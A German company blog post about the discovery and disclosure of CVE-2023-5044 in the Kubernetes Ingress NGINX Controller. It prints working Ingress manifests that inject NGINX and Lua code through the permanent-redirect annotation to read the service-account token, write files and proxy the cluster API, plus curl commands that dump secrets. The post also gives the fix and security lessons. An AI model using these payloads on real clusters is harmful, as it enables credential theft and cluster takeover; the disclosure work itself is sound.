section-arc

Die Story hinter
CVE-2023-5044

Entdeckung einer hochbrisanten Schwachstelle

Deep Dive: Tauchen Sie hands-on ein, wie CLOUDETEER eine "high severity" Lücke entdeckt und was dahinter steckt.

 

Auch wenn man IT-Nachrichten nur oberflächlich verfolgt, hört man regelmäßig von neuen Sicherheitslücken in Betriebssystemen, jeglicher Software oder gar in Hardware. Wie diese Lücken entdeckt werden und was eine solche technische Verwundbarkeit nun genau mit sich bringt, bleibt häufig recht unklar beschrieben. Aus aktuellem Anlass wollen wir daher die Geschichte von CVE-2023-5044 erzählen und dabei etwas in die Details gehen.

CVE-2023-5044 ist eine kürzlich bei Cloudeteer entdeckte und als „high severity“ klassifizierte Lücke im Kubernetes Ingress NGINX Controller. In einem Ingress wird definiert, wie das Cluster auf externe Anfragen auf einen bestimmten Hostnamen und Pfad, e.g. www.domain.xy mit /api, reagieren soll. Der Controller übersetzt diese Anweisungen in NGINX Konfigurationsblöcke der nginx.conf, welche dann von als Reverse Proxy/Load Balancer agierenden NGINX Instanzen in Containern verarbeitet werden.

Sicherheitslücke CVE-2023-5044

Aufbau eines Playgrounds

Das CVE kann lokal mit z.B. einem minikube Kubernetes Aufbau nachgestellt werden. Es muss nur eine betroffene Ingress-NGINX Version ausgerollt werden, z.B. mit Helm:

helm repo add ingress-nginx https://kubernetes.github.io/ingress-nginx
helm repo update
helm upgrade --install ingress-nginx ingress-nginx/ingress-nginx --version 4.7.1

Je nach lokalem Setup kann es hilfreich sein, den NGINX HTTP-Endpunkt per Port-Forwarding durch kubectl port-forward deploy/ingress-nginx-controller 8080:80 lokal auf http://127.0.0.1:8080 erreichbar zu machen. Hier ist es wichtig zu beachten, dass das Forwarding nur so lange der Prozess läuft aktiv ist.

Wenn man nun das folgenden Kubernetes Manifest mit kubectl apply einspielt,

apiVersion: v1
kind: Service
metadata:
name: default
spec:
type: ClusterIP
ports:
- port: 8080
---
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: normal-ingress
spec:
ingressClassName: nginx
rules:
- host: normal.domain
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: default
port:
number: 8080

sollte man mit der curl Anfrage curl -H "Host: normal.domain" http://127.0.0.1:8080 nun eine HTTP-Code 503 Antwort des NGINX im Kubernetes bekommen, da er auf den Host-Header normal.domain und den Root Pfad reagiert, und der referenzierte Kubernetes Service keine aktiven Endpunkte hat.

(Nicht-)Validierung von permanent-redirect Annotations

Detailkonfigurationen des NGINX können in der Ingress Definition als Annotations übergeben werden. Das Setting nginx.ingress.kubernetes.io/permanent-redirect z.B. erlaubt es bei normaler Nutzung Anfragen an einen Endpunkt immer direkt mit HTTP-Code 301 an ein definiertes Ziel weiterzuleiten. Ein Beispiel für die Nutzung der Annotation im Sinne der Erfinder wäre der folgende Ingress:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: redirect-ingress
annotations:
nginx.ingress.kubernetes.io/permanent-redirect: "https://www.google.de"
spec:
ingressClassName: nginx
rules:
- host: redirect.domain
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: default
port:
number: 8080

Eine Anfrage an den Endpunkt mit curl -L -H "Host: redirect.domain" http://127.0.0.1:8080 wird dann direkt zu https://www.google.de umgeleitet.

Cloudeteer SRE Jan-Otto arbeitete an internem Tooling und wollte eine permanent-redirect Weiterleitung für seine Zwecke nutzen. Während des explorativen Testens der Optionen bemerkte Jan-Otto, dass die genannte Redirect Annotation nicht validiert wurden und gesetzte Werte somit ungefiltert ihren Weg in die Konfigurationsdateien für die NGINX Instanzen finden konnten. Für einen Entwickler ist das auf den ersten Blick nur ein Ärgernis: das System verhält sich bei fehlerhafter Konfiguration nicht wie erwartet, man bekommt aber auch keine Rückmeldung in Form einer Warnung oder eines Fehlers und muss entsprechend erstmal verstehen, was man vielleicht falsch gemacht hat. Jan-Otto erkannte, dass die Problematik in diesem Fall tatsächlich aber erheblich pikanter ist und ging noch einige Schritte weiter.

Fachliche NGINX Konfigurationen finden in abgesteckten Blöcken statt. Ingress Definitionen werden pro erwartetem Host in Server-Blöcke umgeschrieben, die wiederum pro Pfad Location-Blöcke beinhalten. In diesen wird dann die Verhaltensweise für den so genau spezifizierten Endpunkt definiert, also z.B. eine Weiterleitung zu einem Kubernetes Service oder Pod, oder eben zu einer beliebigen Redirect Adresse. Wenn keine Prüfung von Eingangsdaten stattfindet und man daher beliebige Zeichenketten in die Konfiguration übergeben kann, kann man dieses Detailwissen um die fachlichen Zusammenhänge ausnutzen.

Zuerst hat Jan-Otto festgestellt, dass man sehr simpel den eigentlich automatisch erstellten Server-Block schließen kann, indem man zum Beginn des Redirect Wertes die durch die Ingress Definition generierten Server/Location-Blöcke jeweils mit einem „}“ abschließt und einfach einen eigenen Block dahinter definieren kann, ohne dass es zu Syntaxfehlern kommt. Man kann also Ingress-Definition wie

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: broken-ingress
annotations:
nginx.ingress.kubernetes.io/permanent-redirect: |
https://www.google.de;

} # close location block

} # close server block

server { # new unrelated server block
server_name anyotherplaceholder.domain;
location / {
set $foo "aaa"
spec:
ingressClassName: nginx
rules:
- host: broken.domain
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: default
port:
number: 8080

auf das Cluster anwenden und sie werden akzeptiert, obwohl sie das nicht sollten. Ein Angreifer kann so also gezielt die Konfiguration der Anfrageverarbeitung des Kubernetes Clusters modifizieren. Um das zu können, muss er allerdings in der Lage sein, Änderungen an Ingress Definitionen vorzunehmen. Das kann aber auch indirekt und ungewollt über modifizierte, bösartige Helm Charts geschehen.

Codeausführung durch permanent-redirect Annotations

Dadurch, dass in den relevanten Blöcken auch eigener Code in der Skript-Sprache Lua definiert und ausgeführt werden kann, bekommt der Exploit noch eine zusätzliche Ebene. Ein Angreifer kann so beliebigen Code mit den definierten Rechten des NGINX im Container ausführen, Dateien im Container lesen und schreiben, sowie Zugriff zu internen Netzwerkbereichen bekommen, die von außen nicht erreichbar sind. Zusätzlich hat der NGINX Container immer noch Rechte im Kubernetes Cluster. Durch das im Container abgelegte ServiceAccount Token kann ein Angreifer die Identität des Dienstes im Cluster annehmen. Der folgende Code zeigt Beispiele für diese Möglichkeiten:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: evilbasics-ingress
annotations:
nginx.ingress.kubernetes.io/permanent-redirect: |
bla.blubb;
} # close location block

location ~* "^/gettoken(/|$)(.*)" { # code that is called at /gettoken
content_by_lua 'ngx.say(io.popen("cat /var/run/secrets/kubernetes.io/serviceaccount/token"):read("*a"))';
}

location ~* "^/writefile(/|$)(.*)" { # code that is called at /writefile
content_by_lua 'os.execute("touch /etc/nginx/badfile.txt")';
}

} # close server block

server { # new unrelated server block
server_name somerandom.domain;
location /foo/ {
set $foo "aaa"
spec:
ingressClassName: nginx
rules:
- host: evil.domain
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: default
port:
number: 8080

Wendet man die Definitionen auf das Cluster an, kann man mit curl -H "Host: evil.domain" http://127.0.0.1:8080/gettoken das ServiceAccount Token des NGINX Controllers direkt aus dem Terminal auslesen. Über die zweiten im Ingress definierte Location kann man durch den Aufruf von curl -H "Host: evil.domain" http://127.0.0.1:8080/writefile die Datei /etc/nginx/badfile.txt im NGINX Pod, der die Anfrage bearbeitet hat, erstellen lassen. Schreibrechte im Root-Folder hat der Prozess aufgrund der Default Security-Settings des Ingress-NGINX Helm Deployments allerdings nicht. Es lohnt sich also auch bei diesem Exploit Rechte immer möglichst minimal zu vergeben.

 

Offizielle Einreichung des Exploits

Jan-Otto nutzte in der offiziellen Meldung der Lücke zusätzlich die in NGINX integrierte HTTP-Library und definierte einen Proxy, der Anfragen an einen Endpunkt einfach an die API des Kubernetes Clusters weiterleitet und sich dabei immer automatisch als NGINX Controller anmeldet. Dies ist mit folgendem Code in der Annotation möglich:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: evilproxy-ingress
annotations:
nginx.ingress.kubernetes.io/permanent-redirect: |
https://example.com;

} # close location block

} # close server block

server { # define proxy
server_name kubernetes.api;

listen 80 ;
listen [::]:80 ;
listen 443 ssl http2 ;
listen [::]:443 ssl http2;

location /api/ { # proxy listens on path /api
content_by_lua_block{
local httpc = require("resty.http").new()
local file = io.open("/var/run/secrets/kubernetes.io/serviceaccount/token", "rb")
local token = file:read "*a"
file:close()

local res, err = httpc:request_uri("https://kubernetes.default.svc.cluster.local" .. ngx.var.uri, {
ssl_verify = false,
method = "GET",
headers = {
["Content-Type"] = "application/x-www-form-urlencoded",
["Authorization"] = "Bearer " .. token,
},
})

ngx.say(res.body)
}
}
}

server { # new unrelated server block
server_name any.domain;
location /foo/ {
set $foo "aaa"
spec:
ingressClassName: nginx
rules:
- host: doesnotmatter.domain
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: default
port:
number: 8080

Somit kann ein Angreifer von außen über den in der Regel öffentlich zugänglichen Ingress nicht nur an den meist nicht-öffentlichen Endpunkt API-Endpunkt der Kubernetes Control Plane, sondern hat automatisch auch die Rechte des Ingress-NGINX. Dieser hat z.B. immer Zugriff auf alle Zertifikate, die von der NGINX Instanz zur SSL-Terminierung nach außen genutzt werden sollen. Mit curl -H "Host: kubernetes.api" http://127.0.0.1:8080/api/v1/namespaces/kube-system/secrets/ kann man sich nun z.B. Secrets im Namespace kube-system anzeigen lassen. Oder, wenn wir mit kubectl create secret generic test-secret -n default --from-literal=secretkey=secretvalue ein Secret im NGINX-Namespace generieren, kann dieses auch mit curl -H "Host: kubernetes.api" http://127.0.0.1:8080/api/v1/namespaces/default/secrets/test-secret | jq -r .data.secretkey | base64 --decode über den Proxy in Klartext ausgelesen werden.

Nachdem die Tragweite des Problems klar war und er potenzielle Angriffsszenarien ausreichend geprüft und dokumentiert hatte, meldete Jan-Otto die Sicherheitslücke beim Kubernetes Security Response Committee. Der offizielle Prozess der Meldung und der genutzte Exploitcode ist nun auch auf der Platform HackerOne einsehbar. Im Rahmen des Bug-Bounty Programms wurde der Fund aufgrund der „high severity“ Einstufung mit 2500$ belohnt. Nach der Bekanntgabe haben sich auch schon andere an der Lücke versucht und darüber geschrieben. Momentan kann das Problem nur durch ein Update des Ingress NGINX Controller und das explizite Setzen des Settings --enable-annotation-validation=true umgangen werden. Im bisher besprochenen Helm-Rollout kann der Fix mit helm upgrade --install ingress-nginx ingress-nginx/ingress-nginx --version 4.8.3 --set controller.enableAnnotationValidations=true eingespielt werden. nginx.ingress.kubernetes.io/permanent-redirect wird dann validiert und die fachlich inkorrekten Ingress Definitionen werden beim Anwenden abgelehnt.

Learnings

Die Geschichte von CVE-2023-5044 bestätigt gängige Security Best-Practices: generell sollte man als Endnutzer oder Betreiber seine Software aktuell halten, sowie Security-Scanner aller Art nutzen und deren Definitionspakete regelmäßig updaten. Trotzdem können so aber immer nur Lücken erkannt und behoben werden, die bereits bekannt sind. Zusätzlich braucht es auch die Experten mit dem richtigen Security-Mindset, um die Gefahren überhaupt zu erkennen. Solche, die ihren Hypothesen nachgehen und erst aufgeben, wenn ein Angriffsszenario entweder bestätigt oder ausgeschlossen worden ist. Auf Security bedachtes Architektur-Design, sowie rigorose Härtung von Infrastruktur- und Software-Konfigurationen helfen zusätzlich im Worst-Case die Angriffsfläche so gering wie möglich zu halten.

Das Gesichter hinter diesem Beitrag

 

42-1

Thorsten ist ein Cloud Operations Engineer aus Leidenschaft mit einer Schwäche für architekturell anspruchsvolle Anforderungen und liebt es, wenn am Ende alle Rädchen perfekt verzahnt ineinandergreifen.
Nach vielen Jahren in der Bioinformatik-Forschung hat er sich vor 4 Jahren der Cloud verschrieben und ist nach und nach immer tiefer in den Kaninchenbau Kubernetes hineingerutscht.

 

43-1

Als Site Reliability Engineer liegt Jan-Ottos Hauptfokus auf der durchgehenden Verfügbarkeit unserer Kundensysteme. Seit Ende 2015 arbeitet er intensiv mit Kubernetes. Mit mehreren Jahren Erfahrung als DevOps Consultant hat er sich einen umfassenden Überblick über beide Welten verschafft. 

 

Dir gefällt dieser Beitrag....

und du möchtest mehr zum Thema Kubernetes erfahren? 

Unter den folgenden Links findest du den Weg zu unserem Kubernetes Whitepaper